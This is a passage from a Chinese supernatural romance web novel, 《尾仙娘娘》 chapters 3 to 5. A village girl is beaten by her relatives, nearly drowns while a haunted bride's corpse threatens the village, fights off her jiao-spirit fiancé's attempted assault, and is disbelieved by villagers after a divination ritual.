《尾仙娘娘》 第3章 黄河水底的新娘 指着我的鼻子骂道: “你这个扫把星算什么东西?!你克死了自己亲爹,还不想让我们好过? 我们家的事,轮得着你做主吗!我看你就是见不得我们家好!” 大伯也咬牙切齿地拍桌子: “你给我滚出去!你那个短命鬼爹不争气,年纪轻轻就死了。 现在我们风家就剩你们两个丫头片子,不要个儿子,等着我们风家绝后吗!” 我捂着被扇到嗡嗡作响的左耳,全程处于懵圈状态。 堂姐风柔小声怯懦说了句:“我们也是风家的后代啊,小萦说了,男女平等。” 大娘一听这话顿时又炸毛了:“我早就告诉过你,不要和凤萦玩,她都把你带坏了!这个死丫头……” 说着,撸起袖子还要来打我。 我这会子才回过神来,抢先一步抓起桌上的暖水壶就往地上砸,厉声冲那两口子大吼: “去去去,你们去!等你们全家死光了就全都老实了!” 暖水壶在大娘脚下碎了一地,壶里暖水溅到大娘脚背上,烫得大娘嗷嗷乱叫。 也许是我发火的样子吓住了他们,他们没再敢骂骂咧咧,冲我张牙舞爪了。 我强压着心底怒火,转身就走。 风柔见状,也委屈弱小地跟了过来。 黄河边,我坐在石头上,用冰凉的黄河水敷脸上巴掌印。 风柔歉意地坐我身边,小心翼翼开口: “对不起小萦,我不知道、我爸妈会这么不讲理,都是我不好,我代我爸妈向你道歉。” 我沉沉叹了口气,只能把怒意咽下嗓门眼:“没事,我习惯了。和你没关系,姐你别自责。” 对于风柔,我始终是有愧在心的。 小时候我刚被送到大伯大娘家那两年,大伯大娘为了能从黄河里捞出好东西发家致富,没少冷落风柔。 大伯两口子本就有特别严重的重男轻女思想,那两年以为养我能发财,甚至都萌生出了想把风柔送人的念头。 有一回风柔偷偷从家里橱柜里拿了一个水煮蛋,被大娘发现后,硬是罚她在院子里跪了一夜。 大娘说,家里的鸡蛋都是给我养身子的。 家里的母鸡,鸡腿也只能我吃,她多看一眼就会被大娘用筷子打脑袋。 为让我睡得更舒服些,大娘逼着风柔把房间让给我,自己去住家里的牛屋。 那原本是她的家,就因为我的出现,她连吃顿饱饭都是奢望。 也是那两年,风柔被寒风吹坏了身体,现在还常年咳嗽,身子骨弱得不行。 我恨大伯大娘剥了我的龙鳞,害我命不久矣。 但对风柔,我只有内疚。 所以这些年不管她说出什么让我无法理解的言论,我都没怪过她。 我一直都坚信她单纯是脑子不太好,不是故意让我背锅的。 可是同样的事重复发生太多次,我还是忍不住想问她。 扭头正要开口,我的目光却无意落在了她脖子上的那片紫红上…… 那是、吻痕? 她有男朋友了? 也有可能是虫子叮咬的吧,最近黄河边不太平。 我没好直接打听她脖子上的红痕哪来的,抬起视线盯着她的眼睛问:“你刚才为什么说,是我不让大伯去义庄?” 她一顿,下一秒眼里就蓄满了晶莹泪珠,一脸迷茫的委屈低吟: “啊?我以为你也担心我爸,所以才那么说的。我不是故意害你挨打的……” 她还是这样,动不动就哭。 算了,村里谁不知道她性子单纯,老实温顺。 可能就是她想得太简单了,才无意说出那句话。 我拿她没办法地想伸手给她擦眼泪。 哄她的话还没来得及说出口,就听身后忽然响起男人低沉嫌弃的责备言语: “你有完没完?小柔又不是故意的!你至于这么兴师问罪么?” 我意外扭头,只见那位本该护着我的蛟仙大人,一袭黑金鳞纹袍,墨发及腰,面无表情异瞳幽冷的出现在我身后,垂眼看我的目光毫不掩饰对我的嫌恶。 我怔住,想解释:“我没有……” 没有兴师问罪! 风柔却抢先柔柔弱弱地站起身,眼角含着泪,伸手怯怯扯了扯蛟仙的袖子: “墨川哥哥,你误会了,妹妹没有怪我,是我不好,我嘴笨,总说错话。” “是她疑心重!以为所有人都和她一样,心思肮脏!” ‘心思肮脏’这四个字像根刺猛地扎进我心脏里。 压抑到令我喘不过气。 蛟仙瞪了我一眼,握住风柔的手,直接带着风柔转身离开:“外面风大,我先送你回家。” 风柔不放心地扭头瞧了我一眼:“那小萦呢……” 蛟仙冷冷吐出几个令人心寒的字眼: “从前就是太惯着她了,让她待在外面思过,涨涨记性!” 他,惯着我…… 还要我涨记性? 他说这话的时候脸不疼吗! 我紧了紧眉心,不等他们走远就转头自己回家了。 他以为他是谁,他不送我回家我就摸不到家门了? 我又不是没长腿! 不过,风柔脖子上的痕迹…… 记忆里,似乎从一开始,蛟仙墨川就很照顾风柔。 明明是我用精血喂养他,把他从牌位里放出来,给了他自由。 可他却更亲近风柔。 妈曾和我说过,蛟类普遍性格不好,爱和人唱反调。 别人越是亲近他,他反而越反抗。 我从前以为墨川只是单纯喜欢和我对着干,所以才故意对风柔好。 可现在,我突然开始怀疑…… 墨川是不是早就喜欢上风柔了。 他不肯和我结婚,为什么不早点告诉我。 我也想过放弃他,但只剩几天了。 不嫁给他,我会死! 为了活命,我只能忍。 大不了结完婚我就把他踹了。 但,终究是我拿那么多精血养了多年的仙家,不甘,还是有的。 也许是我想多了呢。 他和风柔只是普通朋友,只要不像我怀疑的那样…… 结婚后,感情是可以培养的嘛。 疯狂给自己洗了一路脑,回去我就关上院门,倒床上睡觉去了。 晚上,我正趴床上玩着手机上的单机游戏,却忽然听外面有人喊救命。 再细听,是黄河又起浪了,有人掉进了黄河里。 我从小就在黄河边上长大,听见这种声音下意识就是开门去黄河里救人…… 好在落水点就在我家东边不到半里处,我赶过去时,村里的张婶瞧见我就像抓到了救命稻草。 拉住我的胳膊就哭着喊道: “风萦丫头啊,你老四叔掉进黄河里了,刚才黄河翻了个大浪上来,你四叔站在我旁边,一眨眼就被黄水给吞进去了!” 张婶的呼救声很大,加上河边刮着大北风,张婶的叫喊声很快就传遍了整个村落,喊来了小半村的人,连风柔和蛟仙也闻讯找了来。 我一秒也不敢耽搁,脱掉身上的外套,顺着张婶手指的方向猛扎进了冰冷刺骨的黄河—— 按照以往从黄河里捞人的经验,从我听见呼救到跑至黄河边,顶多只过了十分钟。 今晚黄河的浪不算太大,人被卷进去还没坠进深水区,只要顺着落水的方向往前游,肯定能找到下坠的四叔! 身体被浸泡在浑浊的黄河水中,我憋着一口气,努力睁眼往前游…… 也许是我本就是个怪胎的缘故,我在水下的视力竟格外好。 哪怕是深更半夜的黄河,我扎进来往深水区游,也能视物清晰。 眼神比村里的捞尸人们都尖! 咬牙强忍着彻骨的寒意,我憋住呼吸封闭口鼻,往前只游了大约三四分钟,就看见被挂在河底巨石上的老四叔。 住在黄河边上的人大多都懂点水性,老四叔被卷进来的时候肯定尝试过自救。 只是那会子风浪太大,老四叔筋疲力尽了,才慢慢往下坠,挂在了浅水滩的巨石上。 我瞧见老四叔,一刻不敢多耽误,加快速度朝老四叔游过去。 托住老四叔的身体,把老四叔的衣角从石头上扯下来,带着老四叔准备游上岸。 然而,就在我背着老四叔往回赶时,却突然,在黄河深处、看见了密密麻麻,大片大片的泛光鱼鳞! 那鱼鳞像是在黄河水底织就出一片大网。 鱼鳞折射出来的光芒晃花了我的眼。 我察觉出不对劲,着急地加快往回游速度。 可下一瞬,河底的鱼鳞就慢慢拼凑成了一个巨大的人像—— 人像的样子,正是前天村里人在黄河里捞出来的那个女尸! 女尸穿着一身绣花红嫁衣,戴着华丽的金凤冠。 猛地朝我睁眼,两只眼眶里没有眼珠,只有两个血窟窿! 嘴角缓缓上扬,勾出一抹极瘆人的笑容—— 我被河里的东西吓出了一身冷汗,拼命地往前猛游。 可那个巨型新娘人像却从河底,飘到了我的头顶—— 沙哑的嗓音哀怨回荡在我头颅内—— “都得死,你们、都得死……” “一个、不留!” 都得死…… 不,我不要死! 哗的一声,我背着四叔沉重的身体狼狈扑上了岸。 赶来的村长江叔赶紧让人把老四叔从我背上架起来。 查看完老四叔的状态,村长着急安排:“还有救,快送去老何家,让他救命!” 村里的中年大叔们忙一窝蜂地用担架把老四叔抬走。 我体力不支地趴在地上,脑海里还回荡着刚才那具女尸瘆人的嗓音:都得死,一个不留。 村长要来扶我,我趁机满头冷汗地惊恐抓住村长胳膊,颤声提醒:“江叔,那具女尸有问题,她会害死我们……” 可没等村长江叔回应我,风柔就突然着急扑向我,抱住我疯狂摇晃:“小萦你没事吧,吓死我了,还好你没死,小萦——” 谁知她的话没嚎完,又一个巨浪从黄河里扑了上来。 我只觉得头一晕,天摇地晃间,人就已经被卷进了翻滚黄水里了。 同样被卷进来的,还有风柔。 我正想自救,顺便救风柔,但刚才下水救人已经消耗了我四分之三的体力了。 才努力在翻滚的黄水里游了两下,双腿就陡然抽筋了。 眼见着自己要被翻滚的浊浪吞没了,我立马向愣站在岸边的蛟仙求救—— “救……” “救命啊,墨川哥哥,我害怕,呜,救我——”风柔抢先朝蛟仙呼救。 我顿时耳边一嗡,脑子空白一片。 风柔她不是会水吗! 九岁那年我亲眼见到她扑下黄河捞一块翡翠! 仅靠双手的力量我根本无法自保,更让人毛骨悚然的是…… 我感觉有双手,抓住了我的脚踝。 在把我,往水里拽! “墨川、救我……救我!我会死!”我惊慌失措地用着近乎哀求的语气朝他求助。 “墨川哥哥,我害怕。”风柔也扑腾着哇一声哭了出来。 第4章 风萦,本王上辈子就是欠你的! 岸上的蛟仙异瞳幽深的愣了愣,但只犹豫了一瞬,在听见风柔哭声那一刻,立马化作一道黑雾朝距离我十米的风柔飞去。 把风柔救上了岸。 徒留我一个人在河水里拼命求生。 尽管,他做出了我意料之中的选择…… 可看见他抱着风柔上岸的那一幕,我还是心里憋屈的难受。 我愈发体力透支,也渐渐失去了反抗之力。 身体被那双鬼爪拽进黄河的前一秒,我看见岸上的蛟仙起身要来找我。 但风柔的双臂,却着急缠上了他的脖子。 “墨川哥哥,我好冷,我腿好像抽筋了,呜呜墨川哥哥,我是不是要死了……” 身体僵硬地坠入冰冷河水里。 岸上的声音却在耳边回响得格外清晰。 有村长焦急的呼唤声。 还有风柔的柔弱哭声…… “我先送你回家!” “墨川哥哥,你不去救小萦了吗?” “她,八字硬,死不了!” 过了会,那蛟仙又冷冷补了句: “等把你送回家,我再来捞她!” 裹着黄沙的浑浊泥水呛进我的口鼻心肺,我绝望无助地只能眼睁睁看着自己往河底坠—— 刺骨寒凉钻进我的骨缝,渗进我全身血液。 我不死心地又挣扎了两下。 可换来的,是眼前发黑,胸膛被凉水填堵。 强烈的窒息感冲散我的意识…… 这次,是真的要死了吗? 我无力地垂下眼皮。 神识涣散间,我似乎看见,腰上系着的绣花荷包里有团紫光熠熠生辉—— 后来,有无数紫色萤火虫聚拢在我身边,将我严实包裹住。 再后来,下坠感忽强烈。 猛地睁眼—— 我竟然已经扑到了浅水滩的河面! 脑子里还浑浑噩噩的,头顶又传来村长的高声吆喝:“小萦!快,抓住竹竿!” 我这是、上来了?! 昂头就看见江叔下了水,正拿着一根长竹竿朝我送来。 我赶紧伸出僵硬的手臂,着急地一把抓住江叔的竹竿! 随后,被江叔用力拽上了岸。 回到岸上后,我刚坐下就哇哇吐黄水。 江叔心疼地拍拍我后背,给我顺气: “吐出来就好了,吐出来就没事了,不然这些生水泥沙在肺和胃里,涨也能把你涨死。” 我一个劲地吐凉水,没时间回应他。 他拍着我的背,等我吐得差不多了,才不放心地再次朝河面上张望: “奇怪,先前我明明看见风柔那丫头和你一起掉下去了。刚才我只顾着捞你,那丫头在水面扑腾了两下就没影了。 现在还看不见,是不是已经被人救走了?要是坠下去了,不该是这么动静啊。” 我捂着胸口,忍着食道反流灼意抵上喉头的不适,朝江叔摆摆手,气喘吁吁说:“她已经被救走了,现在估摸都到家了。” 江叔松口气:“那就好。”扶着我站起来:“叔先送你回家,你老四叔那头应该没多大事了。” 我惊魂未定地点点头,迈开灌铅般的双腿,跟着江叔往回家的方向去。 路过黄河边那座石头砌成的半米高飞檐翘角小庙时,我忽然在庙里看见一团熟悉的紫光—— 和我刚才在黄河里看见的紫光,一模一样! 而那座小庙,正是村里供奉的野龙王庙。 小时候听村里老人说过,几百年前,住在槐荫村里的人总是会在半夜三更听见黄河里传出巨物的闷吟声。 那声音像石磨不停碾动,像有人在拉一只巨型风箱。 见识多的老一辈讲,这是黄河底下的老龙在翻身。 为了祈求龙王翻身不兴风浪,不害人畜,村里人就在黄河岸边给龙王砌了座石庙。 逢年过节都有村民来石庙前烧香烧纸。 打那以后,村里人果然没再听见巨龙翻身发出的闷哼了。 不过这座野龙王庙的确有点说头,往年黄河涨潮起风浪,河水上岸都像是在刻意避着这座野龙王庙。 龙王庙只有半米高,加上下面的石墩子也还不到一米。 可黄河水从没淹进过石庙。 小时候我也常来石庙边玩,后来生了场重病。 村里张奶奶说我是冲撞到了黄河里的老龙王,所以打那以后,我就没敢再靠近石庙。 这次我差点死黄河里,难道,是庙里的老龙王救了我…… 回到家,我立即洗了个热水澡换了身干净衣物。 睡前还特意给自己冲了杯感冒灵。 堂屋供奉的那几尊牌位看我这么狼狈地回来,有几个叮叮咣咣晃个不停。 仙家们薄情,即便关心,也不会直接表述出来。 何况,有几位因为我当年选了蛟仙没选他们,至今还对我心怀怨恨。 这可能也是他们个个都晓得蛟仙恶心我,却没有一个愿意告诉我的原因。 这么多年,我也早就习惯了他们的幸灾乐祸。 喝完药刚要进卧房睡觉,在外浪了近两个小时的蛟仙却回来了。 刚现身,看见我手里还端着泡感冒药的杯子,顿时就臭了脸。 “我不就去迟了点吗?你至于装模作样用感冒药点我?” 疏冷的语气听得人心头噌噌冒火,我攥紧玻璃杯,生平第一次用同样不耐烦的语气回怼他: “我喝药也碍着你的事了?你那是去迟了一点吗?这都过两个小时了!指望你我尸体都凉了!” 他听完我的话,反而像验证了心中的揣测。 讥讽勾唇,眯了眯上翘的吊梢眼,红蓝异瞳内一片阴寒: “说来说去,不还是在责怪本尊没去救你吗?” 顿了顿,薄唇碰动,说出一句更令人寒心的话:“你又没死,矫情什么。” 一句话差点把我血压气飚二百八! 我五指用力攥着水杯,指腹血肉被挤压得泛白。 真想把玻璃杯摔他脸上。 算了,忍!我还要靠他续命呢! 等利用完他,老娘不过河拆桥不姓风! 我咬住下唇,努力憋回怒火,一言不发地转身回屋。 而他看见我的反应,却诡异的身子僵了下。 我钻进被子蜷缩着身体取暖。 过了将近五分钟,那东西竟跟进了我的房间。 不知道是哪根筋搭错了,竟站在我的床前肯说人话了。 “柔儿身子弱,胆子小,回去后不敢让她爸妈知道她落水的事,所以我就陪了她一会儿。” “我帮她施法驱完寒,才放心离开。她家人从不拿她当回事,你也知道。” “我去黄河边找你,却发现你已经被人救走了。” “柔儿是你堂姐,她身体不好,也是因为你。我先救她,也是替你还债。” “凤萦,我们就要结婚了,你还有什么好疑心的。” 虽然刻意放软了嗓音,但和他对风柔说话时的语气相比,还是差了十万八千里。 替我还债? 呵,真是个冠冕堂皇的理由。 我闭上眼睛,面朝墙壁裹紧被子安心睡觉。 懒得理他。 不知过了多久,他竟在我床边坐了下来。 木床板咯吱一声。 一条冰凉的蛟龙尾钻进我的被子,缠上了我的双腿。 我一惊,惶恐睁开眼。 下一秒,人就被他掀开被子按在床上,丧心病狂地吻过来—— “既然你这样害怕,我今晚就遂了你的心愿!” “凤萦,我可以与你有肌肤之亲,但你日后若再敢惹柔儿不快,我定不饶你!” 疯子! 我第一反应就是疯狂挣扎反抗,又惊又怕得满头冷汗,一巴掌拍偏他要吻我的脸,疾声吼道:“你干什么!放开我!” 然下一瞬,他直接将我两只手臂压在枕边,令我上半身完全不能动弹。 蛟尾肆无忌惮地往我裤腿里钻。 异瞳泛着瘆人的幽光,眼底贪欲极重的想对我用强,咬牙恶狠狠道: “我干什么?你不就想让我这么对你么!凤萦,我可以满足你的需求,但你给我记着,从今往后你只是我在床上的玩物,别妄想得到我一分真心!” 说着,一口咬住我的睡衣衣领,疯癫撕开我的领口。 “滚啊!江墨川你给我清醒点!”我心跳加速怕得额头渗出细密汗珠,虽说我迟早要嫁给他,我们迟早会有这么一天…… 可我们现在还没结婚! 一天没结婚,他就连给我暖床的资格都没有! 还敢让我做他的玩物,死去吧—— “滚开!”我紧张地叫破嗓子吼得凄厉。 门口堂屋正堂上的八副牌位亦叮叮咣咣晃得异常聒噪。 奈何即便我用尽全力挣扎,也不能与他一个大男人抗衡。 他眼底欲念极重,吐息急促且滚烫,迫不及待地要吻我发泄,与我亲近,看样子像是又到了特殊时期…… 呵,前一阵还信誓旦旦地说,嫌我恶心呢。 今天就急着要爬我的床。 还好意思说是满足我的需求…… 原来他才是最恶心的那个! 尾巴欲扯我睡裤的那一刻,我用指甲生生掐破自己的掌心—— 随后趁他不备,拼命从枕头底下摸出一张黄符。 黄符沾染我的血,顿时绽出一道刺眼红光,将他从我身上猛地撞飞了出去—— 男人扑通重摔在地,尾巴也仓皇缩了回去,化成双腿。 我心有余悸地忙用被子裹紧自己,气喘吁吁的坐起身,拿起黄符厉声威胁蛟仙:“滚!再不滚,我就把你收了!” 脏东西,真以为我没办法对付他了! 以前不把黄符拿出来,是不想用这么残忍的手段对待他。 可现在,是他逼我的。 摔了一跤清醒过来的蛟仙瞧见我手里的黄符,面上一慌。 可紧接着,又目光复杂地看向我,深沉异瞳里夹杂了太多我看不透的感情。 半晌,男人眸光骤寒,踉跄站起身,死死盯着我,一脸不甘,甩袖自大放话:“凤萦,今天的选择,你会后悔的!” 说罢,化成一股黑雾穿墙离开了我房间。 将他吓走后,我才脊背一松,后怕地瘫靠在冰冷墙头上。 被他来这么一手,我一时睡意全无。 缩在被子里神经紧绷地抖了一个多小时,我才试着继续躺下埋头睡觉。 刚合眼,我就被几个接踵而来的噩梦给缠上了。 不知过了多久,那股熟悉的、被水浸泡的感觉,又出现了! 我好像又被拽进了冰冷的黄河水底。 只是这次—— 我的身子落进了一个清凉的怀抱。 男人极具磁性的嗓音在耳边沉沉响起:“从前,不是张牙舞爪嚣张凶悍得很么?怎么现在,反而被他人欺负了!” “窝囊玩意,一条黑蛟就将你吓成这样,身子如今还发着抖!” 静了静,男人许是见我抖得太厉害,实在看不下去了。 便好心拍拍我的肩膀,放柔语气,低低安抚: “都、过去了……别抖了。在本王身边,本王又不会、伤害你。至少现在不会……” “看在你为本王滋养元神的份上,本王、答应你,若有朝一日本王能重获自由,本王杀你之前,定替你弄死那只恶蛟!” 听见杀啊死啊的字眼,我本能抖得更厉害了。 他顿时不知所措,着急询问:“你怎么了?是冷还是哪里疼,你受伤了?本王看看!” 剥开我身上的衣物,大手像抚摸一只精致的瓷器,掌力极轻地在我身上过了一遍—— “没受伤你抖什么!矫情!” “……怎么又哭了,本王不骂你了还不成么!” 这一夜,他好像没再缠着我做那种深入灵魂的亲密事。 反而在我打冷颤时,将我紧紧护进怀里。 抚着我的脑袋,一边用行动照顾我,安慰我,一边嘴上说着冷漠的难听话。 “长得这么丑,哭起来更丑。” “凤萦,本王就是上辈子、你就是上辈子欠本王的!” “你最好祈祷本王永远被关在暗无天日的黄河下,不然本王上去便剥你的皮,抽你的骨……” “别抖了!本王、过嘴瘾的还不行么!” “若能杀你,本王、还能留你至今……” 我一定是被蛟仙给吓得神经失常了。 就算要做个被人呵护的梦,我至少也要往梦里加个温柔体贴的男主角。 可这个男人,每次梦见他,他都在我耳旁抽风…… 翌日一早,村长就让人喊我去村里的镇水楼说事。 从黄河里爬出来后,我就把在河里的所见所闻都告诉了村长。 村长喊我去黄河边的镇水楼,估计也是为了当场对峙,好说服村里人把女尸给烧了。 但让我没想到的是,我一进镇水楼,就看见大娘挺着个大肚子一脸傲娇地站在人群里。 与我目光相撞,还故意将大肚子挺得更高些,双手扶着腰杆。 四五十岁的人了,像年轻姑娘一样妄图用这种方式向我示威。 大伯终究还是去义庄,碰了那具女尸…… 镇水楼里站满了村里人,风柔今天也在。 村长江叔见我过去,为难地皱眉开口: “小萦,昨晚你说,村里前些天捞的那具女尸突然出现在黄河里,还在你耳边重复说,村里人都得死,一个不留,是真的吗?” 我坚定点头:“是真的!” 村长倒抽一口气: “可是小柔说,昨晚她在黄河里,也听见声音了。 有个女人告诉她,村里那具女尸是黄河娘娘为报恩特意送上来,专门帮我们槐荫村开枝散叶的。” “什么?”我意外地立即反驳:“怎么可能是什么黄河娘娘送来报恩的!她明明就是脏东西!” 话刚说完,大娘就挺着七八个月的大肚子厉声反呛道: “怎么不可能,只许你能看见水底的东西,听见水里人说话,不许我们家柔儿也有这神通吗?” 大伯手里夹着烟,深吸一口,吐出浓雾适时地补充一句: “都说你是什么龙女转世,可你从小到大,撒了多少次谎?哪一次不是我们家柔儿给你擦屁股?” 一句话像是瞬间激起了民愤,村里其他几家男人女人纷纷附和道: “就是!三年前她非说黄河要起风浪,不允许我们下河捞东西,结果老李家听风柔的话,继续下河捞宝贝,当天从河里捞出了一大箱子黄金呢!” “对啊,当年她非说我家男人只是蛇缠腰,没有大问题。 后来我家男人疼得越来越厉害,去杨道长那一看,才晓得是河里的脏东西缠在我男人身上,杨道长往我家男人腰上盖了十来个火罐才把邪气拔出体外!” “还有,四年前她说县里来的那个出手阔绰的大老板是骗子,不让咱们把东西卖给他,结果大老板去上游村子高价收了好几件宝贝,害咱们损失几十万啊!” “不能再听她的了,她成天只会胡说八道,这次,我们相信风柔!” “对,信风柔丫头!” 村里人的声声谴责我半句都反驳不了…… 因为那些话,的确是我说的。 也是蛟仙告诉我的。 我内疚不已地低头,还想再争取: “从前确实是我没有验证那些消息的真实性才害了大家,可这次我真没有骗人,我说的是真的,那具女尸有问题,她是上来索命的!” 可话刚说完,风柔就怯怯出声,一脸无辜地纠正我: “小萦,那女尸真不是脏东西,是黄河娘娘的分身……” 第5章 真把自己当龙女转世了? 我无奈的急切争辩: “黄河娘娘是黄河龙王的新娘,龙王的新娘怎么可能上岸和人类……那样!” 不放心拉住风柔的手,我怀疑道: “姐,你是不是被河里的东西迷惑了,她不是黄河娘娘,留在槐荫村,咱们都得遭殃!” 风柔闻言却脸色变了变,把手抽回去,继续用柔柔弱弱的语气小声解释: “我没有,我是真看见了……你们不相信就算了,反正,我也是为了咱们整个村子着想,我真没有撒谎。” 听她这么讲,人群里立马有声音替她撑腰: “凤萦,我看你就是怕风柔抢你风头! 你怕凤萦真能听见黄河里的声音,拆穿你的谎言,你就不能再编造那些瞎话制造恐慌了。 你就是嫉妒凤萦!” 又有人开团秒跟:“凤萦,你就这么见不得咱们大家好吗?我算是发现了,每次你说什么,事实都会反着来!” “对哦,你这么一讲,我也发现了! 凤萦只会说些不好的事,但每次,事情都是往反方向发展的。凤萦说不好,那就是好。 凤萦说这件事不能干,那就一定能干成!” “凤萦的嘴里就没一句实话。” 我焦急争辩:“我这次真没有乱说,那具女尸绝对有问题……” 只是不给我解释的机会,大娘就挺着大肚子得意打断: “我家小柔打小说话就灵验,算命先生都说我家小柔是天上福星转世呢。 不像某人,天生克星,可怜我那英年早逝的小叔子,生前对媳妇那么好,那么疼这个闺女,却落得个被黄河淹死的下场,老婆还跟人跑了……” 最后这句话听得我瞬间火气上头,激动红了眼眶,冲到大娘面前就厉声反驳: “你胡说什么呢!我妈什么时候跟人跑了,你再传我妈谣言我撕烂你的嘴!” 她是长辈,怎么说我,我都能忍,可她凭什么造谣我妈! 见我反应激烈气势汹汹,大娘反而脸皮比城墙还厚地仗着怀孕,扶腰故意将高高隆起的腹部往我跟前送。 一副天不怕地不怕的做派,故意趁着村里人都在敞开了嗓子高喊: “怎么的?你妈敢做还不能让人说啊? 你爸才刚死你妈就迫不及待跟人跑了,把你这个累赘扔我们家让我们一大家子伺候! 她如果不是跟野男人跑了,怎么悄无声息就失踪了。 肯定是那个野男人现在不要她了,她才不要死脸地又回了槐荫村,千人骑万人睡的婊子,呸——” 刺耳的字眼像一根根被火烤得通红的细针,狠狠贯穿我的耳膜头颅—— 从我六岁起,大娘就在外散播我妈是跟野男人跑了的谣言,但那会子我妈活不见人死不见尸,她并不敢在外理直气壮地传播这番言论。 唯恐哪天我妈被人从黄河里捞出来,打她的脸。 可我妈回来后,她见我妈没死,就更加肆无忌惮的在外胡说八道了。 什么我妈是跟着城里的鞋匠跑了,给鞋匠当情人,我妈是给城里有钱人当小老婆了,被有钱人嫌弃了才舔着脸回家。 最过分的一次,是造谣我妈在城里卖身。 只有我清楚,我妈这些年在外一定受了很多苦,很多委屈。 我妈干干净净,清清白白,她是在污蔑我妈! 我好几次都想扑上去撕烂她的嘴,都被我妈面无表情地拦下了。 这次我妈不在,她还敢乱说,是真不怕死撞我枪口上了! “你这个烂舌头的泼妇,我撕了你——”我憋着眼泪冲上去一把抓在了她的侧脸上。 挠得她愣是站在原地怔了好几秒。 大伯和旁边的村民们见我真敢对怀孕的大娘动手,赶忙全都涌了上来拉架。 “你敢打我老婆,反了天了!”大伯面目狰狞地抓住我胳膊猛地甩开我。 我踉跄后退两步,刚要再骂,风柔突然冲过来抱住了我一条手臂,拖着哭腔委屈道: “小萦你别打了,我妈还怀着孕呢,对不起小萦,我以后再也不乱说了,我收回我之前的话,我昨晚什么也没听见,求你消消气……” 一句话像是引爆了大伯内心的那颗炮仗,扬起巴掌就朝我劈头扇了下来。 而我原本是可以躲开的,但在我躲闪的那一瞬间,风柔猛地将我胳膊抱得更紧了。 我躲迟了一步,下一秒就被男人强劲的掌力扇得半个头都在嗡嗡响。 大伯目眦欲裂地指着我骂:“你个贱种!我老婆肚子里怀的可是风家独苗,你要是敢害她有个好歹,我弄死你!” 我被大伯一巴掌扇落了鬓角两缕头发,咬牙恶狠狠地瞪着他。 大伯以为我怕他,可他错了,我凤萦这辈子不惹事,也绝不怕事。 挺着大肚子的大娘见有人护着她,挺胸昂头更气焰嚣张了: “你妈就是个婊子,她如果不是在外面干什么见不得光的勾当,怎么一回来就性情大变? 还单独住在她娘家那栋死了三口人的房子里,不敢出来见人? 保不齐就是在外得了什么脏病,怕露馅。 难怪你从小到大嘴里都没一句实话,有什么样的妈就有什么样的闺女!” 身边的风柔还在用力抱着我右臂,像是在防着我对她妈动手。 但想揍一个人的冲动,是忍不了的! 我猛一把甩开柔柔弱弱的风柔,下一秒就再次冲上去双手齐上,在大娘的大脸盘子挠出对称的八道血痕—— “啊——我的妈呀,疼死我了!”大娘顿时捂着毁容的脸凄厉叫出声。 大伯还要对我动手,却被我捉住手腕一口啃下去。 任他怎么用另一只手劈我脑袋,我都将痛感化作齿尖力量,他打的越凶我咬得越狠。 急得他哇哇直叫:“松开、松开!你个贱种!” 风柔害怕地拉我胳膊,哭着祈求:“小萦,你放过我爸妈吧,有什么事冲着我来……” 村里几个明事理的中年大婶见大伯劈我脑袋掌掌用力,害怕大伯将我打成脑震荡,便赶紧用自己胳膊护住我的头—— “好了!风家老大!你越打她越咬,这孩子从小就性子犟,你这么打,除非把她打死,不然她不会松口的!” “她好歹是你亲弟弟的独女啊!你把她脑子打坏了,对得起你那个早死的弟弟吗?” “各退一步,孩子啊,你先松开嘴,风家老大你也不许再打了,有你这么打孩子的吗!” 大伯最终还是被我逼妥协了,先停了手。 可我还是生生将他右手手腕咬得伤见白骨。 等确定他不敢再打了,我才松开他的皮肉。 村里的几个婶子趁机赶紧把我和大伯大娘两口子分开,我猛吸一口气,无意扭头。 好巧不好,正好看见阴着脸抬手准备在我背后,突然给我一手刀劈晕我的蛟仙…… 四目相撞,他面上一慌,心虚地避开我滚烫视线,赶紧收手,装作若无其事。 呵……养不熟的白眼狼! 风柔眼眶通红梨花带雨地瞧了瞧他,又瞧了瞧我。 村长江叔看不下去的着急出声阻止我们再闹:“好了!在水神娘娘面前这么胡闹,也不怕犯忌讳!” 想了想,江叔选了个两全之策:“到底是该听风萦的,还是该听风柔的,就让水神娘娘为我们做决定吧!老规矩,谁掷出圣茭,就听谁的!” 镇水楼本就是建在黄河边用来镇压黄河风浪的风水楼,镇水楼里供奉的,便是传说中执掌整条黄河水域的水神娘娘。 若有与黄河相关的问题,遇事不决,掷茭询问水神娘娘已经是村里的老传统了。 见我已经慢慢冷静了下来,村长郑重发话:“小萦,你先来。” 我深呼吸,努力让自己心情恢复平静。 俯身跪在破旧的莲花跪垫上,我朝正前方人身蛇尾的水神娘娘恭敬拜了三拜。 随后拿起茭杯,闭眼凝神默念:水神娘娘,如果昨晚我听见的是真相,请给我一个圣茭…… 睁开双眼,我咬牙将茭杯往地上一掷。 可结果,却是笑杯! 我心中顿时咯噔一声。 村里人见此情景,皆是相顾无言,无奈叹气。 怎么、可能…… 我不信邪,又捡起来重掷一次。 啪的一声,阴阳茭杯在地上再次呈两个阳面朝上之状…… 又是笑杯! 第三次。 还是笑杯! 看到三次的结果都是一样,我背上一阵燥热,浑身似被火烤着。 三次笑杯,让我自己都开始怀疑…… 我是不是,真像村里人说的那样,只会说相反的话。 大娘惊魂未定地搂着肚子躲在大伯身后阴阳怪气嘲讽催促: “看见没,神明都不帮你!没掷出来还不赶快给我家柔儿让位!” 我大脑空白地僵硬起身,把跪垫让给风柔。 风柔乖巧地走到水神娘娘前,跪下,拜三拜。 拿起茭杯,随手一掷—— 和我猜的一样,她一把就掷出了圣茭。 看见答案众人依旧没有说话,只是叹着气,不耐烦地相继离场。 等出了镇水楼,才憋不住的吐槽:“一天天的,瞎折腾!” “什么黄河龙女转世,我看,是她爸当年给神姑送礼了吧。想给自己闺女安排个牛皮轰轰的身世,好让闺女长大了嫁个好人家!” “那谁知道呢,她爸死了,神姑也死了。当年咱们村,又没人真瞧见过她的龙尾。” 我失魂落魄地站在镇水楼里,等风柔一脸歉意的瞧着我,说了声:‘对不起啊,小萦。’ 转身离开后,村长江叔才拍了拍我的肩,欲言又止地长叹口气,片刻,也无奈先走一步…… 问题,到底出在哪。 我明明看见、水里有女尸的影子,也真切听见那句话了…… 难道,真是我出幻觉了。 问题,就在我自己身上? 我愣站在神像前迷茫了很久,面前忽有凉风扫过,我抬头,看见蛟仙此刻就面无表情地站在神像右侧的盘龙大柱子旁…… 而他那轻蔑不屑的眼神,让我瞬间茅塞顿开! 我转身就要去追村长再争取一回,可身后墨衣广袖,长身玉立的清贵蛟仙却冷冰冰的道了句:“你觉得,他们还会再相信你吗?” 